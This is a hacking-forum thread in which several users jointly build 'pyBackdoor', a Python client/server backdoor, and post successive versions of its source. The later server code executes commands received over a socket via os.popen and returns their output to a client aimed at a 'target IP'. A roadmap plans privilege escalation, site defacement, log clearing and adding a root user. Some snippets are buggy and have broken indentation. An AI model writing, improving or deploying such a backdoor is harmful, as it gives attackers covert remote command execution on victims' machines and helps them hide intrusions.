iExploit

Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Sign In Apply for Membership

Top Posters

Who's Online (0)

Powered by Vanilla. Made with Bootstrap.
Looking to introduce yourself? Look no further, and click here! We also have IRC! [irc.evilzone.org #iexploit]
pyBackdoor 0.0.2a
  • Xin
    Posts: 3,251
    [align=center]pyBackdoor
    [/align]
    Current Version: 0.0.2a

    Future Development
    - Build in Autoroot/Escalate Privellages functions
    - Build a GUI for the client
    - Add in raw cmd support
    - Add in Autodeface
    - Add in auto clear logs


    Changelog 0.0.2a
    - Fixed server disconnects on connection
    - Server now receives data
    - Fixed client quits on connection
    - Fixed server crash
    - Improved command interface
    - You can now user input IP

    Bug Reports:
    - pyBackdoor ascii logo messes up on my ubuntu terminal
    - Cant re bind to same port on CTRL C exit
    - Server crashes on client exit

    Source

    Version 0.0.2a
    [spoiler]
    Server

    #!/usr/bin/python
    # pyBackdoor - Python Backdoor Project
    # Server Version 0.0.1a
    # http://www.iexploit.org
    # Xinapse and Chroniccommand
    import sys, socket


    host = ''                
    port = 50106            


    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((host, port))
    print(\"Server started on port: \", port)

    s.listen(1)
    print(\"Server listening\n\")
    conn, addr = s.accept()
    print 'New connection from ', addr
    while 1:
        
        data = conn.recv(1024) 
        print data
        conn.send('Command Received')
        if data == ('hi\n'):
            print 'works'


    Client


    #!/usr/bin/python
    # pyBackdoor - Python backdoor 
    # Client version 0.0.2a
    # http://iexploit.org/
    # Xinapse, Chroniccommand

    import sys, socket

    #Global declarations


    print(\"\"\"


                                                          
                   (                 )  (                  
            (    ( )\     )       ( /(  )\ )           (  
    `  )   )\ ) )((_) ( /(   (   )\())(()/(  (    (   )(  
    /(/(  (()/(((_)_  )(_))  )\ ((_)\  ((_)) )\   )\ (()\
    ((_)_\  )(_))| _ )((_)_  ((_)| |(_) _| | ((_) ((_) ((_)
    | '_ \)| || || _ \/ _` |/ _| | / // _` |/ _ \/ _ \| '_|
    | .__/  \_, ||___/\__,_|\__| |_\_\\__,_|\___/\___/|_|  
    |_|     |__/                                          


    Version 0.0.1
    Author: Chroniccommand
    http://iexploit.org/
    \"\"\")

    def srvconn():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        print 'Enter the target IP...'
        host = raw_input('>> ')
        print 'Enter the target port...'
        port = int(raw_input('>> '))
        s.connect((host, port))
        print ('Connected to %s' % (host))
        print 'Enter your commands...'

        while 1:
            data = raw_input('>> ')
            print 'sending data...'
            s.send(data)
            s.recv(1024)
        s.close()

    def main():
        print(\"\tWelcome to pyBackdoor v0.0.1\n\")
        print(\"1 - Connect to server\n2 - Exit\n\")

        choice = raw_input('>> ')
        
        if choice == '1':
            srvconn()
        elif choice == '2':
            sys.exit()

    main()

    [/spoiler]

    Version 0.0.1a
    [spoiler]
    Server


    #!/usr/bin/python
    # pyBackdoor - Python Backdoor Project
    # Server Version 0.0.1
    # http://www.iexploit.org
    # Xinapse and Chroniccommand
    import sys, socket


    host = ''                
    port = 50107            


    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((host, port))
    print(\"Server started on port: \", port)

    s.listen(5)
    print(\"Server listening\n\")
    conn, addr = s.accept()
    print 'New connection from ', addr
    while 1:
        
        data = conn.recv(1000000) #Made it a larger number, so we can accept more bytes
        print data    
        if data == ('hi\n'):
            print 'works'
            
        if not data: break
        conn.send(data)
    conn.close()


    Client

    #!/usr/bin/python
    # pyBackdoor - Python backdoor project
    # Client version 0.0.1
    # http://iexploit.org/
    # Chroniccommand

    import sys, socket

    #Global declarations


    print(\"\"\"


                                                          
                   (                 )  (                  
            (    ( )\     )       ( /(  )\ )           (  
    `  )   )\ ) )((_) ( /(   (   )\())(()/(  (    (   )(  
    /(/(  (()/(((_)_  )(_))  )\ ((_)\  ((_)) )\   )\ (()\
    ((_)_\  )(_))| _ )((_)_  ((_)| |(_) _| | ((_) ((_) ((_)
    | '_ \)| || || _ \/ _` |/ _| | / // _` |/ _ \/ _ \| '_|
    | .__/  \_, ||___/\__,_|\__| |_\_\\__,_|\___/\___/|_|  
    |_|     |__/                                          


    Version 0.0.1
    Author: Chroniccommand
    http://iexploit.org/
    \"\"\")

    def srvconn():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        host = 'localhost'
        port = input('Port: ')
        s.connect((host, port))
        s.send('TEST')
        s.recv(10000)
        s.close()

    def main():
        print(\"\tWelcome to pyBackdoor v0.0.1\n\")
        print(\"1 - Connect to server\n2 - Exit\n\")
        choice = raw_input('Choice: ')
        if choice == '1':
            srvconn()
        elif choice == '2':
            sys.exit()

    main()


    [/spoiler]
    Xin
  • chroniccommand
    Posts: 1,389
    Updated some things.
    Server.py:

    #!/usr/bin/python
    # pyBackdoor - Python Backdoor Project
    # Server Version 0.0.1
    # http://www.iexploit.org
    # Xinapse and Chroniccommand
    import sys, socket


    host = ''                
    port = 50107            


    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((host, port))
    print(\"Server started on port: \", port)

    s.listen(5)
    print(\"Server listening\n\")
    conn, addr = s.accept()
    print 'New connection from ', addr
    while 1:
        
        data = conn.recv(1000000) #Made it a larger number, so we can accept more bytes
        print data    
        if data == ('hi\n'):
            print 'works'
            
        if not data: break
        conn.send(data)
    conn.close()

    Changes:
    Added #!/usr/bin/python so the user can just type ./server.py instead of python server.py(if it's chmodded)
    Changed host to '' which just means localhost. No need to really have a value for it.
    Added a message that says which port the server has been started on.
    Added a message that says the server is listening.
    Changed the number of listens from 1 to 5. This is so we can have multiple connections at one time.
    Made the conn.recv number bigger than 200 so we can accept more data from the client.

    Client.py:

    #!/usr/bin/python
    # pyBackdoor - Python backdoor project
    # Client version 0.0.1
    # http://iexploit.org/
    # Chroniccommand

    import sys, socket

    #Global declarations


    print(\"\"\"

     
                                                           
                   (                 )  (                  
            (    ( )\     )       ( /(  )\ )           (   
     `  )   )\ ) )((_) ( /(   (   )\())(()/(  (    (   )(  
     /(/(  (()/(((_)_  )(_))  )\ ((_)\  ((_)) )\   )\ (()\ 
    ((_)_\  )(_))| _ )((_)_  ((_)| |(_) _| | ((_) ((_) ((_)
    | '_ \)| || || _ \/ _` |/ _| | / // _` |/ _ \/ _ \| '_|
    | .__/  \_, ||___/\__,_|\__| |_\_\\__,_|\___/\___/|_|  
    |_|     |__/                                           


    Version 0.0.1
    Author: Chroniccommand
    http://iexploit.org/
    \"\"\")

    def srvconn():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        host = 'localhost'
        port = input('Port: ')
        s.connect((host, port))
        s.send('TEST') 
        s.recv(10000)
        s.close()

    def main():
        print(\"\tWelcome to pyBackdoor v0.0.1\n\")
        print(\"1 - Connect to server\n2 - Exit\n\")
        choice = raw_input('Choice: ')
        if choice == '1':
            srvconn()
        elif choice == '2':
            sys.exit()

    main()

    Basic code. You should be able to figure out what it does.
    This is just basic to get it functioning somewhat correctly. Right now all the client does is send the string 'TEST' to the server.

    To do:
    Well of course its buggy right now. What happens is once you connect to the server, it just sends TEST and ends. That's because I added s.close() for testing purposes. What we need to do is get the server to recognize commands and execute them.
  • Xin
    Posts: 3,251
    said:


    Updated some things.
    Server.py:


    #!/usr/bin/python
    # pyBackdoor - Python Backdoor Project
    # Server Version 0.0.1
    # http://www.iexploit.org
    # Xinapse and Chroniccommand
    import sys, socket


    host = ''                
    port = 50107            


    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((host, port))
    print(\"Server started on port: \", port)

    s.listen(5)
    print(\"Server listening\n\")
    conn, addr = s.accept()
    print 'New connection from ', addr
    while 1:
        
        data = conn.recv(1000000) #Made it a larger number, so we can accept more bytes
        print data    
        if data == ('hi\n'):
            print 'works'
            
        if not data: break
        conn.send(data)
    conn.close()

    Changes:
    Added #!/usr/bin/python so the user can just type ./server.py instead of python server.py(if it's chmodded)
    Changed host to '' which just means localhost. No need to really have a value for it.
    Added a message that says which port the server has been started on.
    Added a message that says the server is listening.
    Changed the number of listens from 1 to 5. This is so we can have multiple connections at one time.
    Made the conn.recv number bigger than 200 so we can accept more data from the client.

    Client.py:

    #!/usr/bin/python
    # pyBackdoor - Python backdoor project
    # Client version 0.0.1
    # http://iexploit.org/
    # Chroniccommand

    import sys, socket

    #Global declarations


    print(\"\"\"

     
                                                           
                   (                 )  (                  
            (    ( )\     )       ( /(  )\ )           (   
     `  )   )\ ) )((_) ( /(   (   )\())(()/(  (    (   )(  
     /(/(  (()/(((_)_  )(_))  )\ ((_)\  ((_)) )\   )\ (()\ 
    ((_)_\  )(_))| _ )((_)_  ((_)| |(_) _| | ((_) ((_) ((_)
    | '_ \)| || || _ \/ _` |/ _| | / // _` |/ _ \/ _ \| '_|
    | .__/  \_, ||___/\__,_|\__| |_\_\\__,_|\___/\___/|_|  
    |_|     |__/                                           


    Version 0.0.1
    Author: Chroniccommand
    http://iexploit.org/
    \"\"\")

    def srvconn():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        host = 'localhost'
        port = input('Port: ')
        s.connect((host, port))
        s.send('TEST') 
        s.recv(10000)
        s.close()

    def main():
        print(\"\tWelcome to pyBackdoor v0.0.1\n\")
        print(\"1 - Connect to server\n2 - Exit\n\")
        choice = raw_input('Choice: ')
        if choice == '1':
            srvconn()
        elif choice == '2':
            sys.exit()

    main()

    Basic code. You should be able to figure out what it does.
    This is just basic to get it functioning somewhat correctly. Right now all the client does is send the string 'TEST' to the server.

    To do:
    Well of course its buggy right now. What happens is once you connect to the server, it just sends TEST and ends. That's because I added s.close() for testing purposes. What we need to do is get the server to recognize commands and execute them.


    Nice il update it, yeah i cant get it to send and receive data, just not the output from os.system(cmd)
    Xin
  • Xin
    Posts: 3,251
    Also how do you do that cool pybackdoor logo thing? Image to ascii? or manually
    Xin
  • Sh3llc0d3
    Posts: 1,910
    Without knowing anything about python it may be worth checking out these... I say might. Everything i've read on capturing output from python has pointed to commands.getoutput(command) which is now deprecated as of python 2.6 and subprocess management (specifically popen2/3)

    Thread showing some answers to similar question - http://stackoverflow.com/questions/2493 ... hon-script
    Subprocess management - http://docs.python.org/library/subproce ... subprocess
    popen - http://docs.python.org/library/subproce ... -os-popen3

    Might be worth checking out.

    For the text->ascii check out this: http://patorjk.com/software/taag/
  • chroniccommand
    Posts: 1,389
    Updated. Works better. Started using UNIX pipes in the code.
    Server:

    #!/usr/bin/python
    # pyBackdoor - Python Backdoor Project
    # Server Version 0.0.1
    # http://www.iexploit.org
    # Xinapse and Chroniccommand
    import sys, os, socket


    host = ''                
    port = 50106

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((host, port))
    print(\"Server started on port: \", port)

    s.listen(5)
    print(\"Server listening\n\")
    conn, addr = s.accept()
    print 'New connection from ', addr
    while (1):
        rc = conn.recv(2)
        pipe = os.popen(rc)
        readl = pipe.readlines()
        file = conn.makefile('w', 0)
        file.writelines(readl[:-1])
        file.close()
        conn.close()


    Client

    #!/usr/bin/python
    # pyBackdoor - Python backdoor project
    # Client version 0.0.1
    # http://iexploit.org/
    # Chroniccommand

    import sys, socket

    #Global declarations


    print(\"\"\"

     
                                                           
                   (                 )  (                  
            (    ( )\     )       ( /(  )\ )           (   
     `  )   )\ ) )((_) ( /(   (   )\())(()/(  (    (   )(  
     /(/(  (()/(((_)_  )(_))  )\ ((_)\  ((_)) )\   )\ (()\ 
    ((_)_\  )(_))| _ )((_)_  ((_)| |(_) _| | ((_) ((_) ((_)
    | '_ \)| || || _ \/ _` |/ _| | / // _` |/ _ \/ _ \| '_|
    | .__/  \_, ||___/\__,_|\__| |_\_\\__,_|\___/\___/|_|  
    |_|     |__/                                           


    Version 0.0.1
    Author: Chroniccommand
    http://iexploit.org/
    \"\"\")

    def srvconn():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        host = 'localhost'
        port = input('Port: ')
        s.connect((host, port))
        s.send('ls') 
        file = s.makefile('r', 0)
        sys.stdout.writelines(file.readlines())
        
        

    def main():
        print(\"\tWelcome to pyBackdoor v0.0.1\n\")
        print(\"1 - Connect to server\n2 - Exit\n\")
        choice = raw_input('Choice: ')
        if choice == '1':
            srvconn()
        elif choice == '2':
            sys.exit()

    main()


    I was thinking of having a meterpreter type session. Where once connected on the client, the user has special commands they can use like a meterpreter. And if they type a command like 'shell', it drops them into a shell in which they can execute system commands.
  • chroniccommand
    Posts: 1,389
    This just occured to me. Why do this if there is already SSH / Telnet. Why not make a backdoor server program that opens a hole in SSH or binds to telnet so the attacker can just telnet or SSH to the machine.
  • Xin
    Posts: 3,251
    said:


    This just occured to me. Why do this if there is already SSH / Telnet. Why not make a backdoor server program that opens a hole in SSH or binds to telnet so the attacker can just telnet or SSH to the machine.



    Thats just a bind shell, it can be done on any port. This is a backdoor that makes it easier to do stuff that has built in commands
    Xin
  • chroniccommand
    Posts: 1,389
    said:


    said:


    This just occured to me. Why do this if there is already SSH / Telnet. Why not make a backdoor server program that opens a hole in SSH or binds to telnet so the attacker can just telnet or SSH to the machine.



    Thats just a bind shell, it can be done on any port. This is a backdoor that makes it easier to do stuff that has built in commands

    True. Well I've been working on it and I've got quite a bit done. Now the server stays open and accepts up to 5 clients at a time. And the client can send commands and get the output of it. Only thing is if I try to send another command I get a broken pipe error :/
  • chroniccommand
    Posts: 1,389
    Update:
    I've made more progress but theres still bugs to work out.
    Server:

    #!/usr/bin/python
    # pyBackdoor - Python Backdoor Project
    # Server Version 0.0.1
    # http://www.iexploit.org
    # Xinapse and Chroniccommand
    import sys, os, socket


    host = ''                
    port = 50105

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((host, port))
    print(\"Server started on port: \", port)
    s.listen(1)
    while (1):
        conn, addr = s.accept()
        print 'New connection from ', addr
        try:
            while True:
                rc = conn.recv(2)
                pipe = os.popen(rc)
                rl = pipe.readlines()
                fl = conn.makefile('w')
                fl.writelines(rl[:-1])
                fl.close()
        except IOError:
                conn.close()


    Client:

    #!/usr/bin/python
    # pyBackdoor - Python backdoor project
    # Client version 0.0.1
    # http://iexploit.org/
    # Chroniccommand

    import sys, socket


    print(\"\"\"

     
                                                           
                   (                 )  (                  
            (    ( )\     )       ( /(  )\ )           (   
     `  )   )\ ) )((_) ( /(   (   )\())(()/(  (    (   )(  
     /(/(  (()/(((_)_  )(_))  )\ ((_)\  ((_)) )\   )\ (()\ 
    ((_)_\  )(_))| _ )((_)_  ((_)| |(_) _| | ((_) ((_) ((_)
    | '_ \)| || || _ \/ _` |/ _| | / // _` |/ _ \/ _ \| '_|
    | .__/  \_, ||___/\__,_|\__| |_\_\\__,_|\___/\___/|_|  
    |_|     |__/                                           


    Version 0.0.1
    Author: Chroniccommand
    http://iexploit.org/
    \"\"\")

    def srvconn():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        host = 'localhost'
        port = input('Port: ')
        s.connect((host, port))
        while (1):
            cmd = raw_input('$ ')
            s.send(cmd) 
            file = s.makefile('r', 0)
            sys.stdout.writelines(file.readlines())
            file.close()
        

    def main():
        print(\"\tWelcome to pyBackdoor v0.0.1\n\")
        print(\"1 - Connect to server\n2 - Exit\n\")
        choice = raw_input('Choice: ')
        if choice == '1':
            srvconn()
        elif choice == '2':
            sys.exit()

    main()
  • Sh3llc0d3
    Posts: 1,910
    Looks good guys, what features are you planning on adding?
  • chroniccommand
    Posts: 1,389
    said:


    Looks good guys, what features are you planning on adding?



    Well once I get the client/server fully working I plan to add things like a meterpreter, pre-installed scripts, adding root user, email support etc.
  • Sh3llc0d3
    Posts: 1,910
    said:


    said:


    Looks good guys, what features are you planning on adding?



    Well once I get the client/server fully working I plan to add things like a meterpreter, pre-installed scripts, adding root user, email support etc.


    Meterpreter sounds a challenge, would be interested to see the final code.
  • chroniccommand
    Posts: 1,389
    said:


    said:


    said:


    Looks good guys, what features are you planning on adding?



    Well once I get the client/server fully working I plan to add things like a meterpreter, pre-installed scripts, adding root user, email support etc.


    Meterpreter sounds a challenge, would be interested to see the final code.


    Well yes but no. I don't plan to have an advanced meterpreter like metasploit. Simple command line meterpreter that allows you to preform some extra scripts and such, and lets you drop into a (hopefully) root shell.
  • Xin
    Posts: 3,251
    Bug Reporting:
    - pyBackdoor ascii logo messes up on my ubuntu terminal
    - Server doesnt properly close and after exiting you cant rebind to the same port
    - Client quits on connection
    Xin
  • Xin
    Posts: 3,251
    Updated to 0.0.2a
    Xin
  • Sh3llc0d3
    Posts: 1,910
    said:


    Bug Reporting:
    - Server doesnt properly close and after exiting you cant rebind to the same port



    Usually in perl that's due to me not closing the socket properly in the code. Could be a similar thing.
  • Xin
    Posts: 3,251
    said:


    said:


    Bug Reporting:
    - Server doesnt properly close and after exiting you cant rebind to the same port



    Usually in perl that's due to me not closing the socket properly in the code. Could be a similar thing.


    Yeah its just on CTRL C exit, is there any code to do anything when this is pressed do youthink?
    Xin
  • Sh3llc0d3
    Posts: 1,910
    Hang on your using cltrl-c to close everything? You may want to add a something like I have so you press an option to close the program, then in that close function use the python eqivilant to close the socket, in perl (in my program, where $sock is my socket) I use "close($sock);" then exit to close the program. You need to end the socket before closing the program otherwise it's still alive. If you see what I mean.
  • sangf
    Posts: 203
    most likely because there is no cleanup code, i don't know how exactly python handles exiting or if you can explicitly capture that event, but i would assume class destructors would be called. you could always try the with and finally statements for closure safety. also, this might be interesting to you: http://www.criticalsecurity.net/index.p ... control-c/
  • Sh3llc0d3
    Posts: 1,910
    My coding is shit without being in a completely new language... however this may solve your problem. Using option 3 I've included closed the server not only the program, but the socket... If you try and open it again on the same port it should work straight away.

    Client
    #!/usr/bin/python
    # pyBackdoor - Python backdoor
    # Client version 0.0.2a
    # http://iexploit.org/
    # Xinapse, Chroniccommand

    import sys, socket

    #Global declarations


    print(\"\"\"


                                                          
                   (                 )  (                  
            (    ( )\     )       ( /(  )\ )           (  
    `  )   )\ ) )((_) ( /(   (   )\())(()/(  (    (   )(  
    /(/(  (()/(((_)_  )(_))  )\ ((_)\  ((_)) )\   )\ (()\
    ((_)_\  )(_))| _ )((_)_  ((_)| |(_) _| | ((_) ((_) ((_)
    | '_ \)| || || _ \/ _` |/ _| | / // _` |/ _ \/ _ \| '_|
    | .__/  \_, ||___/\__,_|\__| |_\_\\__,_|\___/\___/|_|  
    |_|     |__/                                          


    Version 0.0.1
    Author: Chroniccommand
    http://iexploit.org/
    \"\"\")

    def srvconn():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        print 'Enter the target IP...'
        host = raw_input('>> ')
        print 'Enter the target port...'
        port = int(raw_input('>> '))
        s.connect((host, port))
        print ('Connected to %s' % (host))
        print 'Enter your commands...'

        while 1:
            data = raw_input('>> ')
            print 'sending data...'
            s.send(data)
            s.recv(1024)
        s.close()

    def main():
        print(\"\tWelcome to pyBackdoor v0.0.1\n\")
        print(\"1 - Connect to server\n2 - Exit\n3 - Close server\n\")

        choice = raw_input('>> ')
        
        if choice == '1':
            srvconn()
        elif choice == '2':
            sys.exit()
    	elif choice == '3':
    		data = 'q'
    		print 'sending close signal...'
    		s.send(data)
    		print 'signal sent...\nserver closed...'
    		s.close()
    main()


    Server
    #!/usr/bin/python
    # pyBackdoor - Python Backdoor Project
    # Server Version 0.0.1a
    # http://www.iexploit.org
    # Xinapse and Chroniccommand
    import sys, socket


    host = ''                
    port = 50106            


    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((host, port))
    print(\"Server started on port: \", port)

    s.listen(1)
    print(\"Server listening\n\")
    conn, addr = s.accept()
    print 'New connection from ', addr
    while 1:
        
        data = conn.recv(1024)
        print data
        conn.send('Command Received')
        if data == ('hi\n'):
            print 'works'
    	elif data == ('q'):
    		s.close()
    		sys.exit()


    Only a slight tinkering but it should give you an idea of what I meant earlier... if the code doesn't work i'm sure you'll be able to fix up my pisspoor python lol.
Add a Comment